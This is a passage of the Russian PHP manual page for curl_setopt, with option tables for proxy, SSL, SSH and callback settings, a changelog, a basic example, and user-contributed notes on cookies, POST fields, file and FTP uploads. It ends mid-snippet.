CURLOPT_ENCODING | Содержимое заголовка "Accept-Encoding: ". Это позволяет декодировать запрос. Поддерживаемыми кодировками являются "identity", "deflate" и "gzip". Если передана пустая строка, "", посылается заголовок, содержащий все поддерживаемые типы кодировок. | Добавлен в версии cURL 7.10.
CURLOPT_FTPPORT | Значение, которое будет использоваться для определения IP-адреса для команды "PORT" FTP-протокола. Команда "PORT" сообщает серверу, с каким IP-адресом он должен устанавливать соединение. Это может быть IP-адрес, имя хоста, имя сетевого интерфейса (под Unix) или просто '-' для использования системного IP-адреса по умолчанию.
CURLOPT_HSTS

Имя файла кеша HSTS (HTTP Strict Transport Security).

CURLOPT_HSTS_CTRL

Управляет поведением механизма HSTS (HTTP Strict Transport Security). Заполните битовую маску правильным набором значений, чтобы проинструктировать дескриптор cURL, как обрабатывать хосты HSTS при передаче с этим дескриптором. Константа CURLHSTS_ENABLE включает запоминаемый (in-memory) кеш HSTS. Если файл кеша HSTS определён, установка значения CURLHSTS_READONLYFILE сделает файл доступным только для чтения.

CURLOPT_INTERFACE | Имя используемого сетевого интерфейса. Может быть именем интерфейса, IP адресом или именем хоста.
CURLOPT_KEYPASSWD | Пароль, который требуется для использования закрытого ключа CURLOPT_SSLKEY или CURLOPT_SSH_PRIVATE_KEYFILE. | Добавлено в cURL 7.16.1.
CURLOPT_KRB4LEVEL | Уровень безопасности KRB4 (Kerberos 4). Любое из следующих значений (в порядке от слабого к самому сильному) корректно: "clear", "safe", "confidential", "private".. Если указанная строка отличается от данных значений, будет использовано значение "private". Установка этого параметра в null полностью отключит безопасность KRB4. На данный момент безопасность KRB4 работает только с FTP-транзакциями.
CURLOPT_LOGIN_OPTIONS | Используется для установки специфичных для протокола настроек логина, таких как предпочитаемый механизм аутентификации "AUTH=NTLM" или "AUTH=*", и должна использоваться совместно с CURLOPT_USERNAME. | Добавлено в cURL 7.34.0. Доступно с PHP 7.0.7.
CURLOPT_PINNEDPUBLICKEY | Устанавливает зафиксированный открытый ключ. Строка должны содержать имя файла, в котором лежит ваш зафиксированный открытый ключ. Ожидается формат файла "PEM" или "DEX". Строка также может быть числом в формате base64, закодированным sha256 с префиксом "sha256//" и разделённая точкой с запятой ";". | Добавлено в cURL 7.39.0. Доступно с PHP 7.0.7.
CURLOPT_POSTFIELDS | Все данные, передаваемые в HTTP POST-запросе. Этот параметр может быть передан как в качестве url-закодированной строки, наподобие 'para1=val1&para2=val2&...', так и в виде массива, ключами которого будут имена полей, а значениями — их содержимое. Если value является массивом, заголовок Content-Type будет установлен в значение multipart/form-data. Файлы можно отправлять с использованием CURLFile или CURLStringFile, в этом случае value должен быть массивом.
CURLOPT_PRIVATE | Любые данные, которые должны связаны с этим дескриптором cURL. Эти данные могут быть выбраны подзапросом опции CURLINFO_PRIVATE функции curl_getinfo(). cURL ничего не делает с этими данными. Если используется множество дескрипторов cURL, эти данные обычно используются как уникальный ключ для определения дескриптора cURL. | Добавлено в cURL 7.10.3.
CURLOPT_PRE_PROXY | Задайте строку (string), содержащую имя хоста или IP-адрес, который будет использоваться в качестве прокси-сервера, к которому подключается curl, прежде чем он подключится к прокси-серверу HTTP(S), указанному в опции CURLOPT_PROXY для предстоящего запроса. Предварительный прокси-сервер может быть только SOCKS-прокси, и перед ним должен стоять префикс [scheme]://, чтобы указать, какой тип socks используется. Числовой адрес IPv6 должен быть написан в [скобках]. Установка препрокси в пустую строку явно отключает использование препрокси. Чтобы указать номер порта в этой строке, добавьте :[port] в конец имени хоста. Номер порта прокси-сервера может быть дополнительно указан с помощью отдельной опции CURLOPT_PROXYPORT. По умолчанию используется порт 1080 для прокси, если порт не указан. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY | HTTP-прокси, через который будут направляться запросы.
CURLOPT_PROXY_SERVICE_NAME | Имя сервиса аутентификации прокси. | Добавлено в cURL 7.43.0 для HTTP-прокси и в cURL 7.49.0 для SOCKS5-прокси. Доступно, начиная с PHP 7.0.7.
CURLOPT_PROXY_CAINFO | Путь к прокси-серверу центра сертификации. Задайте путь в виде строки (string) с именем файла, содержащего один или несколько сертификатов для проверки прокси с помощью HTTPS. Этот параметр предназначен для подключения к прокси-серверу HTTPS, а не к серверу HTTPS. По умолчанию задан системный путь, где предполагается хранить пакет cacert libcurl. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_CAINFO_BLOB | Имя файла PEM, содержащего один или несколько сертификатов для проверки HTTPS-прокси. Эту опция касается подключения к HTTPS-прокси, а не к HTTPS-серверу. По умолчанию установлен системный путь, по которому предполагается хранить набор сертификатов удостоверяющих центров модуля libcurl. | Доступно начиная с PHP 8.2.0 и libcurl >= cURL 7.77.0.
CURLOPT_PROXY_CAPATH | Каталог, содержащий несколько сертификатов центра сертификации для проверки прокси HTTPS. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_CRLFILE | Задайте имя файла с помощью конкатенации CRL (списка отзыва сертификатов) в формате PEM для использования при проверке сертификата, которая происходит во время обмена SSL. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_KEYPASSWD | Установите строку, используемую в качестве пароля, необходимого для использования закрытого ключа CURLOPT_PROXY_SSLKEY. Вам не нужен пароль для загрузки сертификата, но вам нужен пароль для загрузки вашего закрытого ключа. Этот параметр предназначен для подключения к прокси-серверу HTTPS, а не к серверу HTTPS. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_PINNEDPUBLICKEY | Установите закреплённый открытый ключ для HTTPS-прокси. Строка может быть именем файла вашего закреплённого открытого ключа. Ожидаемый формат файла: "PEM" или "DER". Строка также может быть любым количеством закодированных в base64 хешей sha256, которым предшествует "sha256//" и разделяются ";" | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_SSLCERT | Имя файла вашего клиентского сертификата, используемого для подключения к прокси HTTPS. Формат по умолчанию — "P12" в Secure Transport и "PEM" в других движках; его можно изменить с помощью CURLOPT_PROXY_SSLCERTTYPE. С NSS или Secure Transport это также может быть псевдоним сертификата, с которым вы хотите пройти аутентификацию, так как он назван в базе данных безопасности. Если вы хотите использовать файл из текущего каталога, пожалуйста, добавьте к нему префикс "./", чтобы избежать путаницы с псевдонимом. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_SSLCERTTYPE | Формат сертификата вашего клиента, используемый при подключении к HTTPS-прокси. Поддерживаемые форматы: "PEM" и "DER", за исключением Secure Transport. OpenSSL (версии 0.9.3 и новее) и Secure Transport (в iOS 5 или новее или OS X 10.7 или новее) также поддерживают "P12" для файлов в кодировке PKCS#12. По умолчанию "PEM". | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_SSL_CIPHER_LIST | Список шифров, используемых для подключения к прокси HTTPS. Список должен быть синтаксически правильным, он состоит из одной или нескольких строк шифров, разделённых двоеточиями. Запятые или пробелы также являются допустимыми разделителями, но обычно качестве операторов используются двоеточия, !, - и +. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_TLS13_CIPHERS | Список наборов шифров, которые будут использоваться для подключения TLS 1.3 к прокси. Список должен быть синтаксически правильным, он состоит из одной или нескольких строк набора шифров, разделённых двоеточиями. Эта опция в настоящее время используется только тогда, когда curl собран для использования OpenSSL 1.1.1 или новее. Если вы используете другой бэкенд SSL, вы можете попытаться установить наборы шифров TLS 1.3, используя параметр CURLOPT_PROXY_SSL_CIPHER_LIST. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.61.0. Доступно при сборке с OpenSSL >= 1.1.1.
CURLOPT_PROXY_SSLKEY | Имя файла вашего личного ключа, используемого для подключения к прокси HTTPS. Формат по умолчанию — "PEM", и его можно изменить с помощью CURLOPT_PROXY_SSLKEYTYPE. (Только для iOS и Mac OS X). Этот параметр игнорируется, если curl был создан для Secure Transport. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0. Доступно, если включён встроенный TLS.
CURLOPT_PROXY_SSLKEYTYPE | Формат вашего закрытого ключа. Поддерживаемые форматы: "PEM", "DER" и "ENG". | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_TLSAUTH_PASSWORD | Пароль, используемый для метода аутентификации TLS, указанного в параметре CURLOPT_PROXY_TLSAUTH_TYPE. Требует, чтобы также был установлен параметр CURLOPT_PROXY_TLSAUTH_USERNAME. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_TLSAUTH_TYPE Метод аутентификации TLS, используемый для соединения HTTPS. Поддерживаемый метод — "SRP".

Замечание:

Аутентификация Secure Remote Password (SRP) для TLS обеспечивает взаимную аутентификацию, если обе стороны имеют общий секрет. Чтобы использовать TLS-SRP, вы также должны установить параметры CURLOPT_PROXY_TLSAUTH_USERNAME и CURLOPT_PROXY_TLSAUTH_PASSWORD.

Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXY_TLSAUTH_USERNAME | Имя пользователя, которое будет использоваться для метода аутентификации TLS прокси-сервера HTTPS, указанного в параметре CURLOPT_PROXY_TLSAUTH_TYPE. Требует, чтобы параметр CURLOPT_PROXY_TLSAUTH_PASSWORD также был установлен. | Доступно с PHP 7.3.0 и libcurl >= cURL 7.52.0.
CURLOPT_PROXYUSERPWD | Логин и пароль, записанные в виде "[username]:[password]", используемые при соединении через прокси.
CURLOPT_RANDOM_FILE | Имя файла, используемого для инициализации генератора случайных чисел для SSL.
CURLOPT_RANGE | Диапазон данных, которые нужно загрузить, в формате "X-Y", причём либо X, либо Y могут быть опущены. Протокол HTTP также поддерживает передачу нескольких диапазонов, разделённых запятыми, они задаются в формате "X-Y,N-M".
CURLOPT_REFERER | Содержимое заголовка "Referer: ", который будет использован в HTTP-запросе.
CURLOPT_SASL_AUTHZID | Идентификатор авторизации (authzid) для передачи. Эту опцию можно применять только для механизма аутентификации PLAIN SASL, где это необязательно. Если идентификатор авторизации не задан, только идентификатор аутентификации (authcid), как определено в имени пользователя, будет отправлен на сервер (вместе с паролем). Сервер получит идентификатор авторизации (authzid) из идентификатора аутентификации (authcid), если идентификатор авторизации не был указан, и затем он будет использовать внутренне.
CURLOPT_SERVICE_NAME | Имя сервиса аутентификации. | Добавлено в cURL 7.43.0. доступно с PHP 7.0.7.
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 | Строка, содержащая 32 шестнадцатеричных цифры. Строка должна являться контрольной суммой по алгоритму MD5 открытого ключа удалённого компьютера и libcurl будет сбрасывать соединение к удалённому хосту до тех пор, пока контрольная сумма не будет соответствовать публичному ключу. Эта опция предназначена только для передачи данных с помощью SCP и SFTP. | Добавлено в cURL 7.17.1.
CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256 | Закодированный в Base64 по алгоритму SHA256 хеш публичного ключа удалённого хоста. Передача завершится ошибкой, если заданный хеш не соответствует хешу удалённого хоста.
CURLOPT_SSH_PUBLIC_KEYFILE | Имя файла для вашего публичного ключа. Если не задано, то libcurl использует по умолчанию файл $HOME/.ssh/id_dsa.pub, если переменная окружения HOME установлена и файл "id_dsa.pub" в текущей директории, если переменная HOME не установлена. | Добавлено в cURL 7.16.1.
CURLOPT_SSH_PRIVATE_KEYFILE | Имя файла для вашего приватного ключа. Если не задано, то libcurl использует по умолчанию файл $HOME/.ssh/id_dsa, если переменная окружения HOME установлена и файл "id_dsa" в текущей директории, если переменная HOME не установлена. Если файл защищён паролем, установите пароль с помощью CURLOPT_KEYPASSWD. | Добавлено в cURL 7.16.1.
CURLOPT_SSL_CIPHER_LIST | Список шифров, используемый в SSL-передачах. Например, RC4-SHA и TLSv1 являются корректными списками шифров.
CURLOPT_SSL_EC_CURVES | Разделённый двоеточием список основанных на эллиптических кривых алгоритмов. Например, X25519:P-521 — это допустимый список из двух эллиптических кривых. Эта опция определят клиентские алгоритмы обмена во время SSL-рукопожатия, если дескриптор cURL на SSL-бэкенде собран с поддержкой этой опции.
CURLOPT_SSLCERT | Имя файла с корректно отформатированным PEM-сертификатом.
CURLOPT_SSLCERTPASSWD | Пароль, необходимый для использования сертификата CURLOPT_SSLCERT.
CURLOPT_SSLCERTTYPE | Формат сертификата. Поддерживаются форматы "PEM" (по умолчанию), "DER" и "ENG". Начиная с OpenSSL 0.9.3, "P12" (для файлов, закодированных в PKCS#12) | Добавлен в версии cURL 7.9.3.
CURLOPT_SSLENGINE | Идентификатор механизма шифрования для закрытого ключа SSL, указанного в параметре CURLOPT_SSLKEY.
CURLOPT_SSLENGINE_DEFAULT | Идентификатор механизма шифрования, используемого для асимметричных операций шифрования.
CURLOPT_SSLKEY | Имя файла с закрытым ключом SSL.
CURLOPT_SSLKEYPASSWD

Тайный пароль, необходимый для использования закрытого ключа SSL, указанного параметром CURLOPT_SSLKEY.

Замечание:

Так как этот параметр содержит ценный пароль, помните, что данный PHP-скрипт нужно хранить в безопасном месте.

CURLOPT_SSLKEYTYPE | Тип закрытого ключа SSL, указанного в параметре CURLOPT_SSLKEY. Поддерживаются следующие типы ключей: "PEM" (по умолчанию), "DER" и "ENG".
CURLOPT_TLS13_CIPHERS | Список комплектов шифров для использования в соединении TLS 1.3. Список должен быть синтаксически правильным, он состоит из одной или нескольких строк набора шифров, разделённых двоеточиями. Эта опция в настоящее время используется только тогда, когда curl собран для использования OpenSSL 1.1.1 или новее. Если вы используете другой бэкенд SSL, вы можете попробовать установить наборы шифров TLS 1.3, используя параметр CURLOPT_SSL_CIPHER_LIST. | Доступен с PHP 7.3.0 и libcurl >= cURL 7.61.0. Доступен, когда собран с библиотекой OpenSSL >= 1.1.1.
CURLOPT_UNIX_SOCKET_PATH | Разрешает использовать доменные сокеты UNIX в качестве конечной точки для соединения и устанавливает путь к ним равным заданной строке (string). | Добавлено в cURL 7.40.0. Доступно с PHP 7.0.7.
CURLOPT_URL | Загружаемый URL. Данный параметр может быть также установлен при инициализации сеанса с помощью curl_init().
CURLOPT_USERAGENT | Содержимое заголовка "User-Agent: ", посылаемого в HTTP-запросе.
CURLOPT_USERNAME | Имя пользователя для аутентификации. | Добавлено в cURL 7.19.1.
CURLOPT_PASSWORD | Пароль для аутентификации. | Добавлено в cURL 7.19.1.
CURLOPT_USERPWD | Логин и пароль, используемые при соединении, указанные в формате "[username]:[password]".
CURLOPT_XOAUTH2_BEARER | Задаёт токен доступа OAuth 2.0. | Добавлено в cURL 7.33.0. Доступно с PHP 7.0.7.

Для следующих значений параметра option, параметр value должен быть массивом:

Параметр | Устанавливаемое значение value | Замечания
CURLOPT_CONNECT_TO | Соединяться с указанный хостом по указанному порту, игнорируя URL. Принимает массив строк формата HOST:PORT:CONNECT-TO-HOST:CONNECT-TO-PORT. | Добавлено в cURL 7.49.0. Доступно с PHP 7.0.7.
CURLOPT_HTTP200ALIASES | Массив HTTP 200 ответов, которые будут трактоваться корректными ответами, а не ошибочными. | Добавлен в cURL 7.10.3.
CURLOPT_HTTPHEADER | Массив устанавливаемых HTTP-заголовков, в формате array('Content-type: text/plain', 'Content-length: 100')
CURLOPT_POSTQUOTE | Массив FTP-команд, выполняемых на сервере, после выполнения FTP-запроса.
CURLOPT_PROXYHEADER | Массив пользовательских HTTP-заголовков для отправки на прокси | Добавлено в cURL 7.37.0. Доступно с PHP 7.0.7.
CURLOPT_QUOTE | Массив FTP-команд, выполняемых на сервере, перед выполнением FTP-запроса.
CURLOPT_RESOLVE | Предоставляет адрес для определённой пары хоста и порта. Массив, содержащий строки состоящие из имени хоста, порта и IP-адреса, разделённых двоеточием. Пример: array("example.com:80:127.0.0.1") | Добавлено в cURL 7.21.3.

Для следующих значений параметра option, параметр value должен быть потоковым дескриптором (возвращаемым, например, функцией fopen()):

Параметр | Устанавливаемое значение value
CURLOPT_FILE | Файл, в который будет записан результат передачи. По умолчанию используется поток вывода STDOUT (окно браузера).
CURLOPT_INFILE | Файл, из которого должно идти чтение данных, при загрузке на сервер.
CURLOPT_STDERR | Альтернативный файл для вывода ошибок, используемый вместо потока ошибок STDERR.
CURLOPT_WRITEHEADER | Файл, в который будут записаны заголовки текущей операции.

Для следующих значений параметра option, параметр value должен быть правильным именем функции или замыканием:

Параметр | Устанавливаемое значение value | Примечания
CURLOPT_HEADERFUNCTION | Callback-функция принимает два параметра. Первым параметром является дескриптор cURL, вторым параметром является строка с записываемыми заголовками. Заголовки должны быть записаны с помощью данной callback-функции. Должна возвратить количество записанных байт.
CURLOPT_PASSWDFUNCTION | Callback-функция принимает три параметра. Первым параметром является дескриптор cURL, вторым параметром является строка с запросом пароля, третьим параметром является максимальная длина пароля. Должна возвратить строку, содержащую пароль. | Удалено, начиная с PHP 7.3.0.
CURLOPT_PROGRESSFUNCTION

Callback-функция принимает пять параметров. Первый является дескриптором cURL, второй — общим количеством байт, которое ожидается загрузить с сервера, третий — количество уже загруженных байт, четвёртый — общее количество байт, которое ожидается отправить на сервер, и пятый — количество уже отправленных байт.

Замечание:

Callback-функция вызывается только, если опция CURLOPT_NOPROGRESS установлена в значение false.

Можно вернуть ненулевое значение, чтобы отменить передачу. В этом случае будет выдана ошибка CURLE_ABORTED_BY_CALLBACK.

CURLOPT_READFUNCTION | Callback-функция принимает три параметра. Первым параметром является дескриптор cURL, вторым параметром является ресурс потока, переданный cURL через опцию CURLOPT_INFILE, а третьим параметром является максимально разрешённое количество данных для чтения. Callback-функция должна возвратить строку с длиной, не превышающей запрошенного количества данных, обычно с помощью чтения из переданного потокового ресурса. Должна возвратить пустую строку для сигнала о конце файла EOF.
CURLOPT_WRITEFUNCTION | Callback-функция принимает два параметра. Первым параметром является дескриптор cURL, а вторым параметром является строка с записываемыми данными. Данные должны быть сохранены с помощью данной функции. Она должна возвратить точное количество записанных байт, иначе закачка будет прервана с ошибкой.
CURLOPT_XFERINFOFUNCTION | Callback-функция, принимающая два параметра. Имеет схожее назначение с константой CURLOPT_PROGRESSFUNCTION, но является более современным и предпочтительным вариантом от cURL. | Добавлена в версии 7.32.0. Доступна, начиная с PHP 8.2.0.

Другие значения:

Параметр | Устанавливаемое значение value
CURLOPT_SHARE | Результат выполнения функции curl_share_init(). Позволяет обработчику cURL использовать данные из общего обработчика.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).
7.3.15, 7.4.3 | Добавлена константа CURLOPT_HTTP09_ALLOWED.
7.3.0 | Добавлены константы CURLOPT_ABSTRACT_UNIX_SOCKET, CURLOPT_KEEP_SENDING_ON_ERROR, CURLOPT_PRE_PROXY, CURLOPT_PROXY_CAINFO, CURLOPT_PROXY_CAPATH, CURLOPT_PROXY_CRLFILE, CURLOPT_PROXY_KEYPASSWD, CURLOPT_PROXY_PINNEDPUBLICKEY, CURLOPT_PROXY_SSLCERT, CURLOPT_PROXY_SSLCERTTYPE, CURLOPT_PROXY_SSL_CIPHER_LIST, CURLOPT_PROXY_SSLKEY, CURLOPT_PROXY_SSLKEYTYPE, CURLOPT_PROXY_SSL_OPTIONS, CURLOPT_PROXY_SSL_VERIFYHOST, CURLOPT_PROXY_SSL_VERIFYPEER, CURLOPT_PROXY_SSLVERSION, CURLOPT_PROXY_TLSAUTH_PASSWORD, CURLOPT_PROXY_TLSAUTH_TYPE, CURLOPT_PROXY_TLSAUTH_USERNAME, CURLOPT_SOCKS5_AUTH, CURLOPT_SUPPRESS_CONNECT_HEADERS, CURLOPT_DISALLOW_USERNAME_IN_URL, CURLOPT_DNS_SHUFFLE_ADDRESSES, CURLOPT_HAPPY_EYEBALLS_TIMEOUT_MS, CURLOPT_HAPROXYPROTOCOL, CURLOPT_PROXY_TLS13_CIPHERS, CURLOPT_SSH_COMPRESSION, CURLOPT_TIMEVALUE_LARGE и CURLOPT_TLS13_CIPHERS.
7.0.7 | Добавлены константы CURL_HTTP_VERSION_2, CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE, CURL_HTTP_VERSION_2TLS, CURL_REDIR_POST_301, CURL_REDIR_POST_302, CURL_REDIR_POST_303, CURL_REDIR_POST_ALL, CURL_VERSION_KERBEROS5, CURL_VERSION_PSL, CURL_VERSION_UNIX_SOCKETS, CURLAUTH_NEGOTIATE, CURLAUTH_NTLM_WB, CURLFTP_CREATE_DIR, CURLFTP_CREATE_DIR_NONE, CURLFTP_CREATE_DIR_RETRY, CURLHEADER_SEPARATE, CURLHEADER_UNIFIED, CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE, CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE, CURLMOPT_MAX_HOST_CONNECTIONS, CURLMOPT_MAX_PIPELINE_LENGTH, CURLMOPT_MAX_TOTAL_CONNECTIONS, CURLOPT_CONNECT_TO, CURLOPT_DEFAULT_PROTOCOL, CURLOPT_DNS_INTERFACE, CURLOPT_DNS_LOCAL_IP4, CURLOPT_DNS_LOCAL_IP6, CURLOPT_EXPECT_100_TIMEOUT_MS, CURLOPT_HEADEROPT, CURLOPT_LOGIN_OPTIONS, CURLOPT_PATH_AS_IS, CURLOPT_PINNEDPUBLICKEY, CURLOPT_PIPEWAIT, CURLOPT_PROXY_SERVICE_NAME, CURLOPT_PROXYHEADER, CURLOPT_SASL_IR, CURLOPT_SERVICE_NAME, CURLOPT_SSL_ENABLE_ALPN, CURLOPT_SSL_ENABLE_NPN, CURLOPT_SSL_FALSESTART, CURLOPT_SSL_VERIFYSTATUS, CURLOPT_STREAM_WEIGHT, CURLOPT_TCP_FASTOPEN, CURLOPT_TFTP_NO_OPTIONS, CURLOPT_UNIX_SOCKET_PATH, CURLOPT_XOAUTH2_BEARER, CURLPROTO_SMB, CURLPROTO_SMBS, CURLPROXY_HTTP_1_0, CURLSSH_AUTH_AGENT и CURLSSLOPT_NO_REVOKE.

Примеры

Пример #1 Инициализация сеанса CURL и загрузка веб-страницы

<?php
// создание нового ресурса cURL
$ch = curl_init();

// установка URL и других необходимых параметров
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, false);

// загрузка страницы и выдача её браузеру
curl_exec($ch);

// завершение сеанса и освобождение ресурсов
curl_close($ch);
?>

Примечания

Замечание:

Передача массива в CURLOPT_POSTFIELDS закодирует данные в виде multipart/form-data, тогда как передача URL-кодированной строки закодирует данные в виде application/x-www-form-urlencoded.

Смотрите также

  • curl_setopt_array() - Устанавливает несколько параметров для сеанса cURL
  • CURLFile
  • CURLStringFile

User Contributed Notes

alexchexes at gmail dot com 02-Aug-2023 02:06
If you want cURL to successfully write cookies to a file specified with CURLOPT_COOKIEJAR, ensure that cURL has the necessary permissions to modify the file if it already exists.

I spent nearly a day trying to understand why cURL wasn't saving cookies to an existing file, even though I could easily modify the exact same file using file_put_contents(). Moreover, cURL itself could create the same file and save cookies, but only if it didn't previously exist.

Ultimately, the issue was related to file ownership. I was working within WSL2, inside a symlinked Windows directory. The [automount]"metadata" in wsl.conf was not set, causing every file created from PHP to have the default owner, which differed from the user running PHP.

Once I configured wsl.conf and then changed the ownership of the entire directory to match the user running PHP, cookies were successfully written to any file without any issues.
Niki Romagnoli 04-Apr-2023 11:44
Set order when using CURLOPT_POST and CURLOPT_POSTFIELDS *matters*.
Setting CURL_POST to true will ERASE any previous CURLOPT_POSTFIELDS using an array. Result is request be a POST with empty body.

CURLOPT_POSTFIELDS will set CURLOPT_POST to true for you, no need for repeat.
If you really need to set both, then either:
  - set CURLOPT_POST *before* CURLOPT_POSTFIELDS
  - or don't use array and convert CURLOPT_POSTFIELDS to URL-encoded string, it will not be affected this way (ie. <?php curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($yourArray)); ?> )
qwertz182 06-Nov-2020 11:18
As the "example #2 Uploading file" says it is deprecated as of PHP 5.5.0 but doesn't tell you how it's done right,
here is a really easy example using the CURLFile class:

<?php
$request = [
    'firstName' => 'John',
    'lastName' => 'Doe',
    'file' => new CURLFile('example.txt', 'text/plain') // or use curl_file_create()
];

$curlOptions = [
    CURLOPT_URL => 'http://example.com/upload.php',
    CURLOPT_POST => true,
    CURLOPT_HEADER => false,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_POSTFIELDS => $request,
];

$ch = curl_init();
curl_setopt_array($ch, $curlOptions);

$response = curl_exec($ch);
?>

This is just like posting a html form with an input[type=file] field.
The result on windows could look like this:

<?php
// $_POST
Array
(
    [firstName] => John
    [lastName] => Doe
)

// $_FILES
Array
(
    [file] => Array
        (
            [name] => example.txt
            [type] => text/plain
            [tmp_name] => C:\wamp64\tmp\php3016.tmp
            [error] => 0
            [size] => 14
        )

)
?>

Since the request is an array (and not a string), curl will automatically encode the data as "multipart/form-data".
Please be aware that if you pass an invalid file path to CURLFile, setting the CURLOPT_POSTFIELDS option will fail.
So if you are using curl_setopt_array for setting the options at once, according to the manual, "If an option could not be successfully set, FALSE is immediately returned, ignoring any future options in the options array.".
So you should make sure that the file exists or set CURLOPT_POSTFIELDS with curl_setopt() and check if it returns false and act accordingly.
eric dot van dot eldik at peercode dot nl 13-Nov-2018 01:21
When you get this error using a PUT request: "SSL read: error:00000000:lib(0):func(0):reason(0), errno 104")

It could be caused by:
<?php
curl_setopt($ch, CURLOPT_PUT, TRUE);
?>

Instead try:
<?php
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "PUT");
?>
joel at mojamail dot com 16-Jan-2018 11:57
In the long documentation, it's easy to miss the fact that CURLOPT_POSTFIELDS will set the Content-Type to "multipart/form-data" (instead of the usual "application/x-www-form-urlencoded") IFF you supply an array (instead of a query string)!

Some servers will return weird errors (like "SSL read: error:00000000:lib(0):func(0):reason(0), errno 104") for the wrong Content-Type, and you may waste many hours of time trying to figure out why!
ohcc at 163 dot com 04-Dec-2017 02:59
This is howto upload an existing file to an FTP server with cURL in PHP.

You should remember that CURLOPT_URL should contain the file's basename to save on the FTP server. For example, if you upload hello.txt to ftp://www.wuxiancheng.cn/text/, CURLOPT_URL should be ftp://www.wuxiancheng.cn/text/hello.txt rather than ftp://www.wuxiancheng.cn/text/, otherwise you will get an error message like "Uploading to a URL without a file name! " when you call curl_error();

<?php
    $ch = curl_init();
    $filepath = 'D:\Web\www\wuxiancheng.cn\hello.txt';
    $basename = pathInfo($filepath, PATHINFO_BASENAME);
    $filesize = fileSize($filepath);
    curl_setopt_array(
        $ch,
        array(
            CURLOPT_URL => 'ftp://www.wuxiancheng.cn/text/' . $basename,
            CURLOPT_USERPWD => 'USERNAME:PASSWORD',
            CURLOPT_PROTOCOLS => CURLPROTO_FTP,
            CURLOPT_UPLOAD => true,
            CURLOPT_INFILE => $filepath,
            CURLOPT_INFILESIZE => $filesize,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HEADER => false,
        )
    );
    curl_exec($ch);
    $message = curl_errno($ch) === CURLE_OK ? 'success' : 'failure';
    echo $message;
?>
cmatiasvillanueva at gmail dot com 15-Nov-2017 07:54
What is not mentioned in the documentation is that if you want to set  a local-port or local-port-range to establish a connection is possible by adding   CURLOPT_LOCALPORT and CURLOPT_LOCALPORTRANGE options.

Ex:
$conn=curl_init ('example.com');
curl_setopt($conn, CURLOPT_LOCALPORT, 35000);
curl_setopt($conn, CURLOPT_LOCALPORTRANGE, 200);

CURLOPT_LOCALPORT: This sets the local port number of the socket used for the connection.

CURLOPT_LOCALPORTRANGE:  The range argument is the number of attempts libcurl will make to find a working local port number. It starts with the given CURLOPT_LOCALPORT and adds one to the number for each retry. Setting this option to 1 or below will make libcurl do only one try for the exact port number.

Interface can be also configured using CURLOPT_INTERFACE:

Ex:

curl_setopt($conn,  CURLOPT_INTERFACE, "eth1");
markandrewslade at gmail dot com 07-Mar-2017 03:22
Contrary to the documentation, CURLOPT_STDERR should be set to a handle to the file you want to write to, not the file's location.
joey 09-Mar-2016 06:54
It is important that anyone working with cURL and PHP keep in mind that not all of the CURLOPT and CURLINFO constants are documented. I always recommend reading the cURL documentation directly as it sometimes contains better information. The cURL API in tends to be fubar as well so do not expect things to be where you would normally logically look for them.

curl is especially difficult to work with when it comes to cookies. So I will talk about what I found with PHP 5.6 and curl 7.26.

If you want to manage cookies in memory without using files including reading, writing and clearing custom cookies then continue reading.

To start with, the way to enable in memory only cookies associated with a cURL handle you should use:

    curl_setopt($curl, CURLOPT_COOKIEFILE, "");

cURL likes to use magic strings in options as special commands. Rather than having an option to enable the cookie engine in memory it uses a magic string to do that. Although vaguely the documentation here mentions this however most people like me wouldn't even read that because a COOKIEFILE is the complete opposite of what we want.

To get the cookies for a curl handle you can use:

    curl_getinfo($curl, CURLINFO_COOKIELIST);

This will give an array containing a string for each cookie. It is tab delimited and unfortunately you will have to parse it yourself if you want to do anything beyond copying the cookies.

To clear the in memory cookies for a cURL handle you can use:

    curl_setopt($curl, CURLOPT_COOKIELIST, "ALL");

This is a magic string. There are others in the cURL documentation. If a magic string isn't used, this field should take a cookie in the same string format as in getinfo for the cookielist constant. This can be used to delete individual cookies although it's not the most elegant API for doing so.

For copying cookies I recommend using curl_share_init.

You can also copy cookies from one handle to another like so:

    foreach(curl_getinfo($curl_a, CURLINFO_COOKIELIST) as $cookie_line)
        curl_setopt($curl, CURLOPT_COOKIELIST, $cookie_line);

An inelegant way to delete a cookie would be to skip the one you don't want.

I only recommend using COOKIELIST with magic strings because the cookie format is not secure or stable. You can inject tabs into at least path and name so it becomes impossible to parse reliably. If you must parse this then to keep it secure I recommend prohibiting more than 6 tabs in the content which probably isn't a big loss to most people.

A the absolute minimum for validation I would suggest:

    /^([^\t]+\t){5}[^\t]+$/D

Here is the format:

    #define SEP  "\t"  /* Tab separates the fields */

    char *my_cookie =
